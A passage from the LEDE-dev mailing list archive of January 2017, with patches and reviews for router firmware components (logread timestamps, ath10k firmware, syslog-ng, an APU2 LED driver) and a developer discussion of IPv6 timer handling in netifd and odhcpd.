 static const char *log_file, *log_ip, *log_port, *log_prefix, *pid_file, *hostname, *regexp_pattern;
 static int log_type = LOG_STDOUT;
 static int log_size, log_udp, log_follow, log_trailer_null = 0;
+static int log_timestamp;
 
 static const char* getcodetext(int value, CODE *codetable) {
 	CODE *i;
@@ -100,9 +101,11 @@ static int log_notify(struct blob_attr *msg)
 	struct blob_attr *tb[__LOG_MAX];
 	struct stat s;
 	char buf[512];
+	char buf_ts[32];
 	uint32_t p;
 	char *str;
 	time_t t;
+	uint32_t t_ms = 0;
 	char *c, *m;
 	int ret = 0;
 
@@ -134,6 +137,11 @@ static int log_notify(struct blob_attr *msg)
 	    regexec(&regexp_preg, m, 0, NULL, 0) == REG_NOMATCH)
 		return 0;
 	t = blobmsg_get_u64(tb[LOG_TIME]) / 1000;
+	if (log_timestamp) {
+		t_ms = blobmsg_get_u64(tb[LOG_TIME]) % 1000;
+		snprintf(buf_ts, sizeof(buf_ts), "[%lu.%03u] ",
+				(unsigned long)t, t_ms);
+	}
 	c = ctime(&t);
 	p = blobmsg_get_u32(tb[LOG_PRIO]);
 	c[strlen(c) - 1] = '\0';
@@ -143,6 +151,9 @@ static int log_notify(struct blob_attr *msg)
 
 		snprintf(buf, sizeof(buf), "<%u>", p);
 		strncat(buf, c + 4, 16);
+		if (log_timestamp) {
+			strncat(buf, buf_ts, sizeof(buf) - strlen(buf) - 1);
+		}
 		if (hostname) {
 			strncat(buf, hostname, sizeof(buf) - strlen(buf) - 1);
 			strncat(buf, " ", sizeof(buf) - strlen(buf) - 1);
@@ -172,8 +183,10 @@ static int log_notify(struct blob_attr *msg)
 			uloop_timeout_set(&retry, 1000);
 		}
 	} else {
-		snprintf(buf, sizeof(buf), "%s %s.%s%s %s\n",
-			c, getcodetext(LOG_FAC(p) << 3, facilitynames), getcodetext(LOG_PRI(p), prioritynames),
+		snprintf(buf, sizeof(buf), "%s %s%s.%s%s %s\n",
+			c, log_timestamp ? buf_ts : "",
+			getcodetext(LOG_FAC(p) << 3, facilitynames),
+			getcodetext(LOG_PRI(p), prioritynames),
 			(blobmsg_get_u32(tb[LOG_SOURCE])) ? ("") : (" kernel:"), m);
 		ret = write(sender.fd, buf, strlen(buf));
 	}
@@ -200,6 +213,7 @@ static int usage(const char *prog)
 		"    -P	<prefix>	Prefix custom text to streamed messages\n"
 		"    -f			Follow log messages\n"
 		"    -u			Use UDP as the protocol\n"
+		"    -t			Add an extra timestamp\n"
 		"    -0			Use \\0 instead of \\n as trailer when using TCP\n"
 		"\n", prog);
 	return 1;
@@ -246,7 +260,7 @@ int main(int argc, char **argv)
 
 	signal(SIGPIPE, SIG_IGN);
 
-	while ((ch = getopt(argc, argv, "u0fcs:l:r:F:p:S:P:h:e:")) != -1) {
+	while ((ch = getopt(argc, argv, "u0fcs:l:r:F:p:S:P:h:e:t")) != -1) {
 		switch (ch) {
 		case 'u':
 			log_udp = 1;
@@ -290,6 +304,9 @@ int main(int argc, char **argv)
 				regexp_pattern = optarg;
 			}
 			break;
+		case 't':
+			log_timestamp = 1;
+			break;
 		default:
 			return usage(*argv);
 		}
-- 
2.7.4



From philipp_subx at redfish-solutions.com  Mon Jan 23 09:31:19 2017
From: philipp_subx at redfish-solutions.com (Philip Prindeville)
Date: Mon, 23 Jan 2017 10:31:19 -0700
Subject: [LEDE-DEV] Syslog-ng Makefile typo
In-Reply-To: <a7177f95-9e0c-20af-e7b2-0b5f7cc40bcb@phrozen.org>
References: <b776cb38-f2f6-145d-00bd-356bfd681300@gmail.com>
 <a7177f95-9e0c-20af-e7b2-0b5f7cc40bcb@phrozen.org>
Message-ID: <0E440C45-C644-4217-89C2-4DBCD20E9107@redfish-solutions.com>

To make things go a little faster, I?ve put up a PR on github:

https://github.com/openwrt/packages/pull/3894


> On Jan 18, 2017, at 12:39 AM, John Crispin <john at phrozen.org> wrote:
> 
> Hi,
> 
> although the content of the patch looks good the format is incorrect.
> you really want to generate the patch using git and then use git
> format-patch/send-email to export and mail it. we cannot merge it in
> this format i am afraid. please also make sure to add a Signed-off-by line
> 
> 	John
> 
> On 16/01/2017 12:24, Milan Ko?vara wrote:
>> Hello.
>> I found typo in syslog-ng makefile.
>> 
>> I've upgraded to the newest version and I've made correction of the
>> typo. Patch bellow.
>> 
>> Sorry for bad format of everything. I did it never :)
>> 
>> --- Makefile-orig       2017-01-16 12:06:44.367684776 +0100
>> +++ Makefile~   2017-01-16 12:22:47.198478933 +0100
>> @@ -1,14 +1,14 @@
>> include  $(TOPDIR)/rules.mk
>> 
>> PKG_NAME:=syslog-ng
>> -PKG_VERSION:=3.8.1
>> -PKG_RELEASE:=3
>> +PKG_VERSION:=3.9.1
>> +PKG_RELEASE:=1
>> 
>> PKG_MAINTAINER:=W. Michael Petullo <mike at flyn.org>
>> 
>> PKG_SOURCE:=$(PKG_NAME)-$(PKG_VERSION).tar.gz
>> 
>> PKG_SOURCE_URL:=https://github.com/balabit/syslog-ng/releases/download/$(PKG_NAME)-$(PKG_VERSION)/
>> 
>> -PKG_MD5SUM:=acf14563cf5ce435db8db35486ce66af
>> +PKG_MD5SUM:=1b48da9ef620cf06e55e481b5abb677a
>> 
>> PKG_INSTALL:=1
>> 
>> @@ -41,7 +41,7 @@
>> CONFIGURE_ARGS += \
>>   $(call autoconf_bool,CONFIG_IPV6,ipv6) \
>>          --disable-dependency-tracking \
>> -         --disable-ampq \
>> +         --disable-amqp \
>>          --disable-tcp-wrapper \
>>          --disable-glibtest \
>>          --disable-mongodb \
>> 
>> _______________________________________________
>> Lede-dev mailing list
>> Lede-dev at lists.infradead.org
>> http://lists.infradead.org/mailman/listinfo/lede-dev
> 
> _______________________________________________
> Lede-dev mailing list
> Lede-dev at lists.infradead.org
> http://lists.infradead.org/mailman/listinfo/lede-dev



From greearb at candelatech.com  Mon Jan 23 14:20:10 2017
From: greearb at candelatech.com (Ben Greear)
Date: Mon, 23 Jan 2017 14:20:10 -0800
Subject: [LEDE-DEV] [PATCH] ath10k-ct: Support ath10k CT firmware for
 9887 chipsets.
In-Reply-To: <1484954448-23696-1-git-send-email-greearb@candelatech.com>
References: <1484954448-23696-1-git-send-email-greearb@candelatech.com>
Message-ID: <f2001033-4817-bf00-7de3-b86a4c8fdc2f@candelatech.com>

My firmware does not appear to work well at all on 9887, so might as well skip this
commit for now.

Maybe I will find time to work on this in the future....

Thanks,
Ben

On 01/20/2017 03:20 PM, greearb at candelatech.com wrote:
> From: Ben Greear <greearb at candelatech.com>
>
> Signed-off-by: Ben Greear <greearb at candelatech.com>
> ---
>
> Build tested, but the board I was trying to test it on appears busted
> and does not even show an ath10k device on the bus, so not sure if
> this firmware actually works.
>
>  package/firmware/ath10k-firmware/Makefile | 38 +++++++++++++++++++++++++++++++
>  1 file changed, 38 insertions(+)
>
> diff --git a/package/firmware/ath10k-firmware/Makefile b/package/firmware/ath10k-firmware/Makefile
> index fa026e4..301dcbd 100644
> --- a/package/firmware/ath10k-firmware/Makefile
> +++ b/package/firmware/ath10k-firmware/Makefile
> @@ -32,6 +32,11 @@ $(Package/ath10k-firmware-default)
>    TITLE:=ath10k firmware for QCA9887 devices
>  endef
>
> +define Package/ath10k-firmware-qca9887-ct
> +$(Package/ath10k-firmware-default)
> +  TITLE:=ath10k-CT firmware for QCA9887 devices
> +endef
> +
>  QCA9887_REV:=3cce88e245f2d685e49411c4f80998f94baf67b8
>  QCA9887_FIRMWARE_FILE:=firmware-5.bin_10.2.4-1.0-00013
>  QCA9887_FIRMWARE_FILE_HASH:=5966408bd41f309edb595344b8dd088c0fed212debfd91e5f3e8a55ea119c16d
> @@ -79,6 +84,13 @@ define Download/ath10k-firmware-qca988x-ct
>  endef
>  $(eval $(call Download,ath10k-firmware-qca988x-ct))
>
> +QCA9887_FIRMWARE_FILE_CT:=firmware-2-ct-full-community.bin-19-rc1-lede
> +define Download/ath10k-firmware-qca9887-ct
> +  $(call Download/ct-firmware,QCA9887,ath10k-9887)
> +  HASH:=622deb6996dd70b83d9a42c742254137fbc4afcc59134f60bf8f3e97aac17c6e
> +endef
> +$(eval $(call Download,ath10k-firmware-qca9887-ct))
> +
>  QCA99X0_FIRMWARE_FILE_CT:=firmware-5-ct-full-community-9.bin-lede.001
>  define Download/ath10k-firmware-qca99x0-ct
>    $(call Download/ct-firmware,QCA99X0,ath10k-10-4)
> @@ -107,6 +119,13 @@ $(Package/ath10k-firmware-default)
>    CATEGORY:=Firmware
>  endef
>
> +define Package/ath10k-firmware-qca9887-ct
> +$(Package/ath10k-firmware-default)
> +  TITLE:=ath10k CT 10.1 firmware for QCA9887 devices
> +  SECTION:=firmware
> +  CATEGORY:=Firmware
> +endef
> +
>  define Package/ath10k-firmware-qca988x-ct/description
>  Alternative ath10k firmware for QCA988X from Candela Technologies.
>  Enables IBSS and other features.  See:
> @@ -116,6 +135,14 @@ is un-selected since the driver will try to load firmware-5.bin before
>  firmware-2.bin
>  endef
>
> +define Package/ath10k-firmware-qca9887-ct/description
> +Alternative ath10k firmware for QCA9887 from Candela Technologies.
> +Enables IBSS and other features.  See:
> +http://www.candelatech.com/ath10k-10.1.php
> +This firmware conflicts with the standard 9887 firmware, so select only
> +one.
> +endef
> +
>  define Package/ath10k-firmware-qca99x0-ct/description
>  Alternative ath10k firmware for QCA99x0 from Candela Technologies.
>  Enables IBSS and other features.  See:
> @@ -224,6 +251,16 @@ define Package/ath10k-firmware-qca988x/install
>  		$(1)/lib/firmware/ath10k/QCA988X/hw2.0/firmware-5.bin
>  endef
>
> +define Package/ath10k-firmware-qca9887-ct/install
> +	$(INSTALL_DIR) $(1)/lib/firmware/ath10k/QCA9887/hw1.0
> +	$(INSTALL_DATA) \
> +		$(DL_DIR)/$(call CT_FIRMWARE_FILE,QCA9887) \
> +		$(1)/lib/firmware/ath10k/QCA9887/hw1.0/firmware-2.bin
> +	$(INSTALL_DATA) \
> +		$(DL_DIR)/$(QCA9887_BOARD_FILE_DL) \
> +		$(1)/lib/firmware/ath10k/QCA9887/hw1.0/board.bin
> +endef
> +
>  define Package/ath10k-firmware-qca988x-ct/install
>  	$(INSTALL_DIR) $(1)/lib/firmware/ath10k/QCA988X/hw2.0
>  	$(INSTALL_DATA) \
> @@ -297,6 +334,7 @@ $(eval $(call BuildPackage,ath10k-firmware-qca99x0))
>  $(eval $(call BuildPackage,ath10k-firmware-qca6174))
>  $(eval $(call BuildPackage,ath10k-firmware-qca9984))
>
> +$(eval $(call BuildPackage,ath10k-firmware-qca9887-ct))
>  $(eval $(call BuildPackage,ath10k-firmware-qca988x-ct))
>  $(eval $(call BuildPackage,ath10k-firmware-qca99x0-ct))
>  $(eval $(call BuildPackage,ath10k-firmware-qca9984-ct))
>


-- 
Ben Greear <greearb at candelatech.com>
Candela Technologies Inc  http://www.candelatech.com



From patrick.martin.r at gmail.com  Mon Jan 23 15:38:37 2017
From: patrick.martin.r at gmail.com (Patrick Martin)
Date: Mon, 23 Jan 2017 15:38:37 -0800
Subject: [LEDE-DEV] Patch to iwinfo to add the ability to load backends from
 external .so modules
Message-ID: <CAN_rxo3PBnjnV73MSSJT+y3T_zoPafzS+hN2Xw49Tj0yZgeE2Q@mail.gmail.com>

Hello,

I'm submitting a patch to iwinfo that loads external .so files from
/usr/lib/iwinfo to allow for the addition of binary backends via
packages, I set it up to be as isolated from the other code in iwinfo
so as to not affect anything you guys might be working on with it.
this patch (or something similar) is needed in order to add the
ability to read info about the Quantenna radio in the driver packages
i'm working on. This was made on jow's (i think it was jow at least)
suggestion.

Patrick Martin
-------------- next part --------------
A non-text attachment was scrubbed...
Name: iwinfo_external_backends.patch
Type: application/octet-stream
Size: 15310 bytes
Desc: not available
URL: <http://lists.infradead.org/pipermail/lede-dev/attachments/20170123/d509a240/attachment-0001.obj>

From patrick.martin.r at gmail.com  Mon Jan 23 16:00:53 2017
From: patrick.martin.r at gmail.com (Patrick Martin)
Date: Mon, 23 Jan 2017 16:00:53 -0800
Subject: [LEDE-DEV] Patch to iwinfo to add the ability to load backends
 from external .so modules
In-Reply-To: <CAN_rxo3PBnjnV73MSSJT+y3T_zoPafzS+hN2Xw49Tj0yZgeE2Q@mail.gmail.com>
References: <CAN_rxo3PBnjnV73MSSJT+y3T_zoPafzS+hN2Xw49Tj0yZgeE2Q@mail.gmail.com>
Message-ID: <CAN_rxo0FLUsxvc=oocZeLVjO=BL5pmk2+_2oKYE6FcRrkCNbGA@mail.gmail.com>

I think I attached the wrong patch file, here are the two patches to
apply that are corrected.

On Mon, Jan 23, 2017 at 3:38 PM, Patrick Martin
<patrick.martin.r at gmail.com> wrote:
> Hello,
>
> I'm submitting a patch to iwinfo that loads external .so files from
> /usr/lib/iwinfo to allow for the addition of binary backends via
> packages, I set it up to be as isolated from the other code in iwinfo
> so as to not affect anything you guys might be working on with it.
> this patch (or something similar) is needed in order to add the
> ability to read info about the Quantenna radio in the driver packages
> i'm working on. This was made on jow's (i think it was jow at least)
> suggestion.
>
> Patrick Martin
-------------- next part --------------
A non-text attachment was scrubbed...
Name: iwinfo_external_backends.2.patch
Type: application/octet-stream
Size: 5072 bytes
Desc: not available
URL: <http://lists.infradead.org/pipermail/lede-dev/attachments/20170123/93f3db1a/attachment.obj>
-------------- next part --------------
A non-text attachment was scrubbed...
Name: iwinfo_external_backends.patch
Type: application/octet-stream
Size: 12505 bytes
Desc: not available
URL: <http://lists.infradead.org/pipermail/lede-dev/attachments/20170123/93f3db1a/attachment-0001.obj>

From dave.taht at gmail.com  Mon Jan 23 22:33:16 2017
From: dave.taht at gmail.com (Dave Taht)
Date: Mon, 23 Jan 2017 22:33:16 -0800
Subject: [LEDE-DEV] the ipv6 issues and the notions of timer
Message-ID: <CAA93jw4hCeQXo__hUKX0UJQJTnrkXD7G-EZELL8cSuQsgbkEaw@mail.gmail.com>

I have been poking all over the stack on a lede build from thursday,
and I think many of the issues we've been having with ipv6 for a year
now have involved not setting various timers correctly in the kernel,
from various places they needed to be set by.

Also the linux kernel added the new notion of mgmtempaddrs and
noprefixroute over the past 2 years or so. lede seems to be defaulting
to noprefixroute (which seems to be the right idea) but that is not
the default in things like my ubuntu system, and this mild change
(where adding an address/64 used to add a route/64), may also be
causing certain things to fail.

In surveying the carnage:

* iproute2:

iproute2 added the ability to set "ip route ... expires X" in 4.5, but
it was not in 4.4, and not done correctly until 4.7. Not sure if it
was busted in the kernel also...

there are also weird dependencies in ip -6 addr if you try to set
preferred_lft independently of valid_lft. these always should be
modified together for sane results.

* netifd

For ula globals it has never set a leasetime or route expires in the
kernel. It probably should (and default to something like 20 minutes
otherwise), and periodically refresh the associated addresses and
distributed routes for that. (or punt to something else to do it)

netifd also has a a notion of "wallclock" time, where I'm not sure
what is supposed to happen if stuff starts before time is slewed
forward for the first time by ntp, or *as* time is being slewed.

netifd does appear to be trying to set valid_lft, preferred_lft, but
seems to be failing in many cases.

# Most of the /lib/netifd/protos do not bother trying to set a timer,
when they should

* /lib/netifd/dhcpv6.script (called by odhcp6c)

I successfully modified this to actually pass valid_lft and
preferred_lft to the kernel by using the full syntax for
proto_add_ipv6_address.

(this was my first clue that netifd was supposed to actually be
writing timer related info to the kernel. It does keep preferred and
valid correctly in ifstatus whatever.)

relevant bit was:

        for entry in $ADDRESSES; do
                local addr="${entry%%/*}"
                entry="${entry#*/}"
                local mask="${entry%%,*}"
                entry="${entry#*,}"
                local preferred="${entry%%,*}"
                entry="${entry#*,}"
                local valid="${entry%%,*}"
# Override these so we can watch what happens between refreshes
                [ "$preferred" -gt "1600" ] && preferred=1600
                [ "$valid" -gt "1800" ] && valid=1800

                proto_add_ipv6_address "$addr" "$mask" "$preferred" "$valid" 1

* 6rd.sh

despite mucho hacking the exact same syntax as above for
proto_add_ipv6_address fails.

Also it is not being triggered at all when the underlying lease on the
interface is renewed by udhcp. The underlying addresses do change...
my udhcp lease is 600 seconds, and advertising an infinite lifetime to
other hosts is kind of bad, 'cause it's changed 3 times in the last
day alone.... There's 3 kinds of cruft in the code going back years...

# The various other things for route timers syntactically
(proto_add_ipv6_route proto_add_ipv6_prefix) appear correct, but:
generally do not work. (and are not being used) Also the separator
syntax (being of slashes) is not the best, commas would be saner, I
think, to parse. There's at least one error in the 6rd code where we
end up with an extra /60/60 that is mere matter of luck that parses
elsewhere.

* odhcpd

So far as I understand odhcpd gets stuff via ubus and punts some of it
back that way. It seems to be working for dhcpv6 (but does supplies
infinite leases until you convince odhcp6c to get addresses defined
with shorter leases)

and netifd corresponds over ubus...

I've noted elsewhere odhcpd (bug 388) gets completely wedged if you
hit it with a couple odhcp-pd requests and starts only periodically
offering ras. It also loses track of its internal lease table....

* dnsmasq dhcpv6

kind of depends on there being timers for the addresses on the link
that it is offering addresses for to route, and I don't know if it
thinks about the noprefixroute concept and routes/addresses
separately.

* I haven't even tried to figure out if slaac is working right.

# some further ra issues

* odhcp6c

Also installs a ton of dhcpv6 static routes that make pretty good
sense for a default gw to an ISP, but not for an interior one. It
won't announce a ra by itself... relying on another daemon to decide
to do so.

It does not seem to listen to further ra's on the link it is listening
on (for more specific routes on it's gateway). You unfortunately
cannot rely just on dhcpv6 for routes in ipv6.

we use source specific routing to only allow for it's assigned
prefixes to exit (good thing, no bcp38 needed), which means we do not
install a default ra to the universe because ra's don't do source
specific announcements (Although there is a proposal slowly drifting
through the ietf on the matter).

* the static route problem also gets in the way when you have two
dhcp-pd clients - they end up essentially in ap isolation mode when no
default route is also present. The "righter" answer is to be
announcing your interior router's subnet offlink via, but not a
default gw.

* accept_ra 2 is no longer accepted syntax in uci. Using this
(carefully) covered a multitude of sins in the good ole days (2013).
It can still be set via sysctl, and helps (For now) in a couple
scenarios.

# Next steps for all concerned for whoever wants to chip in.

*backport the relevant expires fixes for iproute2 (or just upgrade it to head)
*look over the in-kernel interfaces for ipv6 timer and for any route
related stuff
*also review noprefixroute stuff
*make netifd do saner things with timers and ulas
*review the netlink apis and usages in the various odh* utils
*review the protos and make sure they are passing the right things and
 are getting the right events and hooked to the right stuff, getting
correctly into ifstatus and elsewhere.
(I just did 6rd and dhcpv6 - anyone for he? pppoe? 6to4? gre? homenet?)

*add some error checking and optional logging to anything writing or
reading netlink. Everywhere.

* write some documentation on how netifd/ubus/odh*/uci is supposed to
interact in the first place. With pictures. I have 30+ pages of notes
at this point, and dozens of packet captures, screen shots, and route
dumps.....

I'd love a "simple ubus listen daemon example - one that listens
merely for events on a set of interfaces. or routes or on a proto".

For all I know there's better tools for looking at ubus but my head
spins from installing my post-eyeball json checker. I'd like to for
example be checking that everything is always correctly formatted json
passing through... is there a way to do that? While, like, um,
hammering ubus?

and then there's this long list of needed features for odchpd,
bringing dnsmasq more up to snuff, and...

the original bug 388 I started with, which I kind of hope will yield
to fixing several of the above....

But I'd settle for first getting a solid notion of timers throughout
the stack, actually
working, and setting them to really low values to see them actually do
their dances.

-- 
Dave T?ht
Let's go make home routers and wifi faster! With better software!
http://blog.cerowrt.org


From bb at npl.de  Tue Jan 24 00:07:03 2017
From: bb at npl.de (Bastian Bittorf)
Date: Tue, 24 Jan 2017 09:07:03 +0100
Subject: [LEDE-DEV] the ipv6 issues and the notions of timer
In-Reply-To: <CAA93jw4hCeQXo__hUKX0UJQJTnrkXD7G-EZELL8cSuQsgbkEaw@mail.gmail.com>
References: <CAA93jw4hCeQXo__hUKX0UJQJTnrkXD7G-EZELL8cSuQsgbkEaw@mail.gmail.com>
Message-ID: <20170124080702.GA20922@medion.lan>

* Dave Taht <dave.taht at gmail.com> [24.01.2017 08:52]:
> I'd love a "simple ubus listen daemon example - one that listens
> merely for events on a set of interfaces. or routes or on a proto".

root at box:~ ubus listen
{ "network.interface": {"action":"ifdown","interface":"lan"} }                                  
{ "network.interface": {"action":"ifup","interface":"lan"} }

> For all I know there's better tools for looking at ubus but my head
> spins from installing my post-eyeball json checker. I'd like to for
> example be checking that everything is always correctly formatted json
> passing through... is there a way to do that? While, like, um,
> hammering ubus?

. /usr/share/libubox/jshn.sh
MYJSON="$( devstatus eth0.2 )"
json_load "$MYJSON" || something_is_wrong
json_cleanup

bye, bastian


From nbd at nbd.name  Tue Jan 24 07:28:52 2017
From: nbd at nbd.name (Felix Fietkau)
Date: Tue, 24 Jan 2017 16:28:52 +0100
Subject: [LEDE-DEV] netifd: "bridge: disable IGMP snooping by default"
In-Reply-To: <20170120103755.GK3498@otheros>
References: <20170120103755.GK3498@otheros>
Message-ID: <80df2701-e919-1654-eae2-c3035ee66f78@nbd.name>

On 2017-01-20 11:37, Linus L?ssing wrote:
> Hi,
> 
> Is there any further information regarding this commit somewhere?
> 
> "bridge: disable IGMP snooping by default"
> https://git.lede-project.org/?p=project/netifd.git;a=commitdiff;h=52541140f8138e31958cdc3d7e42a4029fa6bbc9
Sorry, I forgot to put some context in the commit message. jow pointed
out to me that we have a whole bunch of different tickets and reports
that point at issues with multicast. Some of them are clearly wireless
related, but others seemed to go away when disabling IGMP snooping. This
is really hard to pin down and we decided to make this feature opt-in
instead of opt-out for now until things settle down a bit more.

I think it makes sense to have another go at enabled-by-default when we
move to a newer kernel and use the latest version of the patch.

- Felix


From joseph.c.lehner at gmail.com  Tue Jan 24 08:22:22 2017
From: joseph.c.lehner at gmail.com (Joseph C. Lehner)
Date: Tue, 24 Jan 2017 17:22:22 +0100
Subject: [LEDE-DEV] ramips: splitting mt76 into kmod and firmware package?
Message-ID: <39a8db74-2a88-a0c0-5f49-c63e9e5f04a9@gmail.com>

Currently, around 80% of the space required by the kmod-mt76 package is due to
firmware. On devices with small flash chips, not having to install these files
can save precious flash space. Removing the firmware files currently frees around
160k of usable flash space - on the Netgear EX2700 (4M flash chip) this amounts to
an increase of approximately 33%:

Filesystem                Size      Used Available Use% Mounted on
/dev/mtdblock5          564.0K     68.0K    496.0K  12% /overlay

vs.

Filesystem                Size      Used Available Use% Mounted on
/dev/mtdblock5          728.0K     72.0K    656.0K  10% /overlay

Since the firmware files are not required by all devices, can't we move them
into a separate package (like kmod-rt2800-pci and rt2800-pci-firmware)?


Joseph



From dave.taht at gmail.com  Tue Jan 24 11:47:00 2017
From: dave.taht at gmail.com (Dave Taht)
Date: Tue, 24 Jan 2017 11:47:00 -0800
Subject: [LEDE-DEV] the ipv6 issues and the notions of timer
In-Reply-To: <20170124080702.GA20922@medion.lan>
References: <CAA93jw4hCeQXo__hUKX0UJQJTnrkXD7G-EZELL8cSuQsgbkEaw@mail.gmail.com>
 <20170124080702.GA20922@medion.lan>
Message-ID: <CAA93jw6qLrRrcCi=uMvg0xxbHNmN-OwDurH9wTLhUdoHjY57DQ@mail.gmail.com>

On Tue, Jan 24, 2017 at 12:07 AM, Bastian Bittorf <bb at npl.de> wrote:
> * Dave Taht <dave.taht at gmail.com> [24.01.2017 08:52]:
>> I'd love a "simple ubus listen daemon example - one that listens
>> merely for events on a set of interfaces. or routes or on a proto".
>
> root at box:~ ubus listen
> { "network.interface": {"action":"ifdown","interface":"lan"} }
> { "network.interface": {"action":"ifup","interface":"lan"} }
>
>> For all I know there's better tools for looking at ubus but my head
>> spins from installing my post-eyeball json checker. I'd like to for
>> example be checking that everything is always correctly formatted json
>> passing through... is there a way to do that? While, like, um,
>> hammering ubus?
>
> . /usr/share/libubox/jshn.sh
> MYJSON="$( devstatus eth0.2 )"
> json_load "$MYJSON" || something_is_wrong
> json_cleanup
>
> bye, bastian

Thx very much. Also blogic pointed me at the jsonfilter package, which
is a godsend.


-- 
Dave T?ht
Let's go make home routers and wifi faster! With better software!
http://blog.cerowrt.org


From nbd at nbd.name  Wed Jan 25 00:18:55 2017
From: nbd at nbd.name (Felix Fietkau)
Date: Wed, 25 Jan 2017 09:18:55 +0100
Subject: [LEDE-DEV] [PATCH 3/3] leds-apu2: Add PC Engines APU2 LED driver
In-Reply-To: <1485159156-18665-4-git-send-email-chrisrblake93@gmail.com>
References: <1485159156-18665-1-git-send-email-chrisrblake93@gmail.com>
 <1485159156-18665-4-git-send-email-chrisrblake93@gmail.com>
Message-ID: <71000c2b-bc53-1e40-5f7b-becf0d25bf2d@nbd.name>

On 2017-01-23 09:12, Chris Blake wrote:
> This adds support for the PCB LEDs and Reset Button found on the PC
> Engines APU2/APU3 embedded boards.
> 
> Signed-off-by: Chris Blake <chrisrblake93 at gmail.com>
> ---
> diff --git a/package/kernel/leds-apu2/src/Kconfig b/package/kernel/leds-apu2/src/Kconfig
> new file mode 100644
> index 0000000..d0ad5be
> --- /dev/null
> +++ b/package/kernel/leds-apu2/src/Kconfig
> @@ -0,0 +1,8 @@
> +config LEDS_APU2
> +        tristate "PC Engines APU2/APU3 LED support"
> +        depends on LEDS_CLASS
> +        depends on LEDS_GPIO
> +        depends on GPIOLIB
> +        help
> +          Say yes here to enable support for the CPU GPIO pins on the PC Engines
> +          APU2/APU3 board, which enables the front LEDs and Reset Button.
> diff --git a/package/kernel/leds-apu2/src/Makefile b/package/kernel/leds-apu2/src/Makefile
> new file mode 100644
> index 0000000..4f77b39
> --- /dev/null
> +++ b/package/kernel/leds-apu2/src/Makefile
> @@ -0,0 +1 @@
> +obj-${CONFIG_LEDS_APU2}    += leds-apu2.o
> diff --git a/package/kernel/leds-apu2/src/leds-apu2.c b/package/kernel/leds-apu2/src/leds-apu2.c
> new file mode 100644
> index 0000000..8da8a2d
> --- /dev/null
> +++ b/package/kernel/leds-apu2/src/leds-apu2.c
> @@ -0,0 +1,374 @@
> +/*
> + *  APU2 LED/GPIO Driver
> + *  Copyright (c) 2016 Christian Lamparter <chunkeey (at) googlemail.com>
> + *
> + *  Based on gpio-apu2.c - AMD FCH GPIO support for PC-Engines APU-2 board
> + *
> + *  Copyright (c) 2015  Carsten Spiess <fli4l at carsten-spiess.de>
> + *
> + *  This program is free software; you can redistribute it and/or modify
> + *  it under the terms of the GNU General Public License as published by
> + *  the Free Software Foundation; either version 2 of the License, or
> + *  (at your option) any later version.
> + *
> + *  This program is distributed in the hope that it will be useful,
> + *  but WITHOUT ANY WARRANTY; without even the implied warranty of
> + *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
> + *  GNU General Public License for more details.
> + *
> + *  You should have received a copy of the GNU General Public License
> + *  along with this program; if not, write to the Free Software
> + *  Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
> + */
> +
> + #include <linux/module.h>
All lines seems to have a leading whitespace character. Please fix.
Applied the other patches to my staging tree, thanks.

- Felix



From nbd at nbd.name  Wed Jan 25 00:26:49 2017
From: nbd at nbd.name (Felix Fietkau)
Date: Wed, 25 Jan 2017 09:26:49 +0100
Subject: [LEDE-DEV] [PATCH v2] ath10k-ct: Fix performance of 2x2
 hardware running 3x3 firmware.
In-Reply-To: <1484954462-23800-1-git-send-email-greearb@candelatech.com>
References: <1484954462-23800-1-git-send-email-greearb@candelatech.com>
Message-ID: <ba035dee-c1ab-6827-73cb-498d159f692a@nbd.name>

On 2017-01-21 00:21, greearb at candelatech.com wrote:
> From: Ben Greear <greearb at candelatech.com>
> 
> The driver had a bug when calculating the rateset.  This resolves
> that and allows full VHT mcs rates on 2x2 hardware.
> 
> Signed-off-by: Ben Greear <greearb at candelatech.com>
> ---
> 
> v2:  Use most recent git commit hash, the previous one was broken
> on LEDE.
> 
>  package/kernel/ath10k-ct/Makefile | 4 ++--
>  1 file changed, 2 insertions(+), 2 deletions(-)
> 
> diff --git a/package/kernel/ath10k-ct/Makefile b/package/kernel/ath10k-ct/Makefile
> index 3c31e11..5e3b16d 100644
> --- a/package/kernel/ath10k-ct/Makefile
> +++ b/package/kernel/ath10k-ct/Makefile
> @@ -8,8 +8,8 @@ PKG_LICENSE_FILES:=
>  
>  PKG_SOURCE_URL:=https://github.com/greearb/ath10k-ct.git
>  PKG_SOURCE_PROTO:=git
> -PKG_SOURCE_DATE:=2017-01-10
> -PKG_SOURCE_VERSION:=f5bacb83baf95e887c50c286606f4f565ef71d86
> +PKG_SOURCE_DATE:=2017-01-20
> +PKG_SOURCE_VERSION:=9fc6c4f4b97c934a66043d1b7c8f8cbc415bd538
>  PKG_MIRROR_HASH:=845950a177ed6dd7ad3f645df79403e9980f089a09b66e74a9b88abe58dfe5e6
You forgot to update PKG_MIRROR_HASH - you can automate this using make
package/ath10k-ct/check FIXUP=1

- Felix


From nbd at nbd.name  Wed Jan 25 00:29:28 2017
From: nbd at nbd.name (Felix Fietkau)
Date: Wed, 25 Jan 2017 09:29:28 +0100
Subject: [LEDE-DEV] [PATCH v2] mac80211: backport
 calculate-min-channel-width fix
In-Reply-To: <1484912433-2253-1-git-send-email-koen.vandeputte@ncentric.com>
References: <1484912433-2253-1-git-send-email-koen.vandeputte@ncentric.com>
Message-ID: <d90f33ff-1838-f3bb-6580-2a43909103a0@nbd.name>

On 2017-01-20 12:40, Koen Vandeputte wrote:
> compiled & tested on cns3xxx
> 
> Signed-off-by: Koen Vandeputte <koen.vandeputte at ncentric.com>
This commit introduces a regression and needs the fixup "mac80211: don't
try to sleep in rate_control_rate_init()" as well.

- Felix


From nbd at nbd.name  Wed Jan 25 00:33:42 2017
From: nbd at nbd.name (Felix Fietkau)
Date: Wed, 25 Jan 2017 09:33:42 +0100
Subject: [LEDE-DEV] [PATCH 2/2] mac80211.sh: Support VHT40 hw type for
 ibss.
In-Reply-To: <1484867296-6747-2-git-send-email-greearb@candelatech.com>
References: <1484867296-6747-1-git-send-email-greearb@candelatech.com>
 <1484867296-6747-2-git-send-email-greearb@candelatech.com>
Message-ID: <7ca130bd-9068-0a25-d0a9-a176f4be9323@nbd.name>

On 2017-01-20 00:08, greearb at candelatech.com wrote:
> From: Ben Greear <greearb at candelatech.com>
> 
> This doesn't actually limit it to VHT40 rates on ath10k,
> it seems, but it does let it run VHT 80 rates, which
> seems better than disable VHT entirely.
> 
